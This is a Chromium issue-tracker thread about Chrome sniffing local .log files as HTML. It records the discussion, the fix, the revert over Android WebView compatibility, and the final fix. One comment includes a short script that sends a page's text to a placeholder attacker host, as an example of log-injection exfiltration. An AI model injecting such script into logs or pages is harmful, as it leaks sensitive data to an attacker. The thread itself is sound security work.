Looks like MIME sniffing related, local file doesn't has a MIME, .txt/.text file(found them in kSecondaryMappings) will be treated as text/plain and .log/.ini/etc will depends on the content of the file. Would you like to add .log/.ini extension into the list?

Or let any other file extensions on local drive which isn't in the list to display in text/plain?

This is basically the same thing as  Issue 645771  (See  https://crbug.com/645771#c1 )-- it relies on the mistaken assumption that executing script in a local file represents a security problem. 

The attacker can run JavaScript from the local file, but (unlike in, say, IE5) that script doesn't have access to anything of significant value. It could interrogate its own URL which could, for instance, reveal the path to the user's download folder (and thus, likely, their login name) but this doesn't appear especially consequential. 

If we wanted to close this down, we could require that local files opened be treated as text/plain if they don't have a proper HTML file type, but this would have some compat impact.

Can you come up with a specific attack you believe sniffing of the HTML content type enables?

Yes, I agree it may not be a severe one. The background of this report is when I am checking the log file and accidentally found Chrome rendered my log file. 

I think this could potentially be a security problem because the log file was generated by a web service and may include of some user input. My concern is that some bad guy could use this to get content of my log file or where I am actually store the log. 

Thank you for providing more feedback. Adding requester "elawrence@chromium.org" to the cc list and removing "Needs-Feedback" label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

In addition to the fact that script running in a FILE has limited permission, Chrome does not permit web content (e.g. served by HTTP/HTTPS) to navigate to a FILE URI, meaning it would be difficult for a web-based attacker to attempt to induce you to load this page.

Having said that, adding .log to kSecondaryMappings sounds reasonable to me.

eroman@, WDYT? 

A few quick comments (not able to test right now):

 * The report is from Brave, but presumably this repros the same in Chrome
 * Being able to run script in the file:// case is low severity at best
 * Glancing at the code for mime sniffer, it looks like for http[s]:// we should confirm that such a log file served with text/plain does not get interpreted as html (I believe it will at most sniff text/plain to binary so should not be vulnerable to this [1])
 * I do agree with the reporter that this shouldn't be HTML
 * Adding to kSecondaryMappings doesn't seem like the right fix; I imagine the right fix is in mime sniffer, although not sure whether the current behavior was an intentional policy or not.

https://cs.chromium.org/chromium/src/net/base/mime_sniffer.cc?type=cs&sq=package:chromium&l=795

Yes, Chrome reproduces this as well.

It generally seems desirable that Chrome would sniff HTML from an unknown file type. 

Chrome certainly should not render HTML in a text file served from HTTP/HTTPS with a Content-Type of "text/plain" as that's a significant vulnerability. The comment at [1] suggests that the code behaves properly.

The unwanted behavior described in this bug is removed when the .log file extension is associated with the "text/plain" MIME type via the registry:

   Windows Registry Editor Version 5.00

   [HKEY_CLASSES_ROOT\.log]
   @=""
   "Content Type"="text/plain"

This suggests to me that updating kSecondaryMappings would be an effective resolution to this issue, allowing for the possibility that a user who /wants/ HTML log files (for whatever reason) can continue to do so by using text/html as the registry-declared Content-Type. 

[1] https://cs.chromium.org/chromium/src/net/base/mime_sniffer.cc?l=781&rcl=faa13f8c8516dd027f5fc5a6ba984099ff330d05

For what it's worth, I can't reproduce this on Linux; the HTML renders as plain text. But I did reproduce it on Windows.

I can imagine the following attack scenario: An attacker manages to perform log injection on some service somewhere. The service's operator(s) download the log file, and for whatever reason they open it in Chrome on Windows. The attacker can then exfiltrate the log's contents, which may contain sensitive operational data, user PII, or whatever else.

```
<script>
const img = document.createElement("img")
img.src = "https://attacker.com/kitten.jpg?" + encodeURIComponent(document.body.innerText)
</script>
```

A number of things have to have gone wrong first by the time Chrome gets involved. But, still, it'd be good to fix this, especially if the fix is easy as described in #9.

But I don't see a security bug in Chrome, per se. Keeping the Type=Bug-Security for the time being, in case I'm wrong.

+mmenke for ownership of some code in content/browser/loader/mime_sniffing_resource_handler.cc and ./net/base/mime_sniffer.cc, and tsepez for general expertise.

[+asanka]

I don't have strong opinions here, and am not too concerned about this behavior - rendering file URLs is ultimately a weird and hackish thing, whatever we decide to do.

We could disable sniffing of local files for HTML/JS, and just use the OS associations and hard-coded file extension maps.  We could even remove using OS associations (Though that would remove the ability to disable running HTML/JS in chrome, which may be a nice security measure, for those sufficiently concerned about file URLs).

If we do decide to change behavior, I'd like to histogram it.  Maybe what percent of file URL users run into cases where the result would be changed?  Just want some idea of how many developers this may effect, as I believe that's the primary use for file URLs, though I could be wrong.  Suppose there's also the PDF viewer.

The addition of file:// scheme to the list of sniffable schemes was to done to mitigate  issue 18342 . Sniffing content for HTML is further restricted to resources whose initial MIME type is one of the unknown types (i.e. empty, 'unknown/unknown', 'application/unknown', '*/*'). This is why mapping .log to any known MIME type mitigates this issue.

I'd propose we increase the restriction on HTML sniffing to exclude file:// resources.

This means that random files won't get sniffed as HTML. For a file:// resource to be considered HTML either the platform should map its current file type to one of the HTML MIME types, or the file should have an extension of .html, .htm, .shtml, .shtm, or .ehtml. The latter set consists of the union of the primary and secondary hardcoded file type mappings for text/html.

This is a bigger hammer than adding .log to the list of secondary mappings, but I'd gently push back at using the secondary mappings as a blacklist for things that shouldn't be considered HTML, since that's going to be a large list.

+1 to not adding to secondary mappings.  So this would just be special magic for text/html (Which, admittedly, is the most problematic type for sniffing)?  I'm fine with that, though adding magic rather than taking it away makes me a bit sad.

Re #13: We already had "special magic" for text/html, so the proposal sounds like we'd just use this magic less often?

https://chromium-review.googlesource.com/c/chromium/src/+/751402

#14. Yes. The proposal is to apply magic less often. :)

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/3519e867dc606437f804561f889d7ed95b95876a

commit 3519e867dc606437f804561f889d7ed95b95876a
Author: Eric Lawrence <elawrence@chromium.org>
Date: Tue Nov 07 03:21:46 2017

Don't sniff HTML from documents delivered via the file protocol

To reduce attack surface, Chrome should not MIME-sniff to text/html for
any document delivered via the file protocol. This change only impacts
the file protocol (documents served via HTTP/HTTPS/etc are unaffected).

Bug:  777737 
Cq-Include-Trybots: master.tryserver.chromium.android:android_cronet_tester;master.tryserver.chromium.mac:ios-simulator-cronet
Change-Id: I7086454356b8d2d092be9e1bca0f5ff6dd3b62c0
Reviewed-on: https://chromium-review.googlesource.com/751402
Reviewed-by: Ben Wells <benwells@chromium.org>
Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
Reviewed-by: Achuith Bhandarkar <achuith@chromium.org>
Reviewed-by: Asanka Herath <asanka@chromium.org>
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Eric Lawrence <elawrence@chromium.org>
Cr-Commit-Position: refs/heads/master@{#514372}
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/chrome/browser/chromeos/login/resource_loader_browsertest.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/chrome/browser/history/redirect_browsertest.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/extensions/browser/api/file_handlers/mime_util_unittest.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/net/base/mime_sniffer.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/net/base/mime_sniffer_unittest.cc

Wow cool, thanks for your time and the rapid response to this issue & the fix! :)

There's no reason that this Issue needs to be private, and given that the change landed may affect user scenarios, I'm marking it public.

Due to application compatibility concerns with Android WebView (Issue 786150) applications which load HTML from file URIs with no extension, we've reverted this change. In terms of the more scoped fix, the proposal is that sniffing should be allowed only by the WebView codepath.

Per Comment #15 on that bug, "I think you'd just need to add a method to AwResourceDispatcherHostDelegate?  Though that will break once the network service ships, so an integration test is probably a really good idea (Which is something you'll need a WebView person to help you figure out how to do)"

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/9afc491d6d64d54bf01f526abcc3d8344d90fa42

commit 9afc491d6d64d54bf01f526abcc3d8344d90fa42
Author: Eric Lawrence <elawrence@chromium.org>
Date: Mon Nov 27 18:43:08 2017

Revert "Don't sniff HTML from documents delivered via the file protocol"

This reverts commit 3519e867dc606437f804561f889d7ed95b95876a.

Reason for revert: crbug.com/786150. Application compatibility for Android WebView applications means we need to allow sniffing on that platform. 

Original change's description:
> Don't sniff HTML from documents delivered via the file protocol
> 
> To reduce attack surface, Chrome should not MIME-sniff to text/html for
> any document delivered via the file protocol. This change only impacts
> the file protocol (documents served via HTTP/HTTPS/etc are unaffected).
> 
> Bug:  777737 
> Cq-Include-Trybots: master.tryserver.chromium.android:android_cronet_tester;master.tryserver.chromium.mac:ios-simulator-cronet
> Change-Id: I7086454356b8d2d092be9e1bca0f5ff6dd3b62c0
> Reviewed-on: https://chromium-review.googlesource.com/751402
> Reviewed-by: Ben Wells <benwells@chromium.org>
> Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
> Reviewed-by: Achuith Bhandarkar <achuith@chromium.org>
> Reviewed-by: Asanka Herath <asanka@chromium.org>
> Reviewed-by: Matt Menke <mmenke@chromium.org>
> Commit-Queue: Eric Lawrence <elawrence@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#514372}

TBR=achuith@chromium.org,benwells@chromium.org,mmenke@chromium.org,sdefresne@chromium.org,asanka@chromium.org,elawrence@chromium.org

# Not skipping CQ checks because original CL landed > 1 day ago.

Bug:  777737 
Change-Id: I864ae060ce3277d41ea257ae75e0b80c51f3ea98
Cq-Include-Trybots: master.tryserver.chromium.android:android_cronet_tester;master.tryserver.chromium.mac:ios-simulator-cronet
Reviewed-on: https://chromium-review.googlesource.com/790790
Reviewed-by: Eric Lawrence <elawrence@chromium.org>
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Eric Lawrence <elawrence@chromium.org>
Cr-Commit-Position: refs/heads/master@{#519347}
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/chrome/browser/chromeos/login/resource_loader_browsertest.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/chrome/browser/history/redirect_browsertest.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/extensions/browser/api/file_handlers/mime_util_unittest.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/net/base/mime_sniffer.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/net/base/mime_sniffer_unittest.cc

Additional note re Android WebView behaviour here: if there's a straightforward way to make this a quirk that's configured at runtime then we can limit this to only applications which target an existing Android SDK version, and disable the sniffing for apps which target future versions (with a note in the docs about this change in behaviour). This doesn't guarantee we can ever actually remove the quirk, but it does limit the exposure to applications going forward. The WebView team can help with this.

I plan to tackle this next month.

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/fcbb1bd7fd6a78847d95a422f10ca5908c02f521

commit fcbb1bd7fd6a78847d95a422f10ca5908c02f521
Author: Matt Menke <mmenke@chromium.org>
Date: Wed Jan 31 21:53:12 2018

Don't sniff file URLs for HTML.

If a file with an extension other than html / htm is downloaded, and
Chrome was used to open the file, it could sniff it as being HTML,
which seems unexpected.

The new logic is not applied to WebView, as existing consumers may
depend on the legacy behavior.

Bug:  777737 
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: Iaa72004a3a8de2df99f154c95014e4f6351ce532
Reviewed-on: https://chromium-review.googlesource.com/853036
Commit-Queue: Matt Menke <mmenke@chromium.org>
Reviewed-by: Jacob Dufault <jdufault@chromium.org>
Reviewed-by: Richard Coles <torne@chromium.org>
Reviewed-by: Ben Wells <benwells@chromium.org>
Reviewed-by: Daichi Hirono <hirono@chromium.org>
Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Asanka Herath <asanka@chromium.org>
Cr-Commit-Position: refs/heads/master@{#533429}
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/android_webview/browser/aw_content_browser_client.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/android_webview/browser/aw_content_browser_client.h
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/chrome/browser/chromeos/login/resource_loader_browsertest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/chrome/browser/history/redirect_browsertest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/chrome/common/extensions/extension_unittest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/components/drive/chromeos/file_cache.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/browser/file_url_loader_factory.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/browser/loader/mime_sniffing_resource_handler.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/browser/loader/resource_dispatcher_host_browsertest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/public/browser/content_browser_client.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/public/browser/content_browser_client.h
[add] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/test/data/content-sniffer-test5.not-html
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/extensions/browser/api/file_handlers/mime_util.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/extensions/browser/api/file_handlers/mime_util_unittest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer.h
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer_fuzzer.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer_unittest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/services/network/url_loader.cc

Going to mark this as fixed, but there's a significantly higher than zero chance this will need to be reverted in a few weeks due to some other consumer relying on the old behavior.

Filed  issue 808137  to track disallowing this for webview apps that target future OS versions as well.

Thanks for the report blastxiang@! The Chrome VRP panel looked at this and I'm afraid they declined to award. Cheers!

 Issue 837920  has been merged into this issue.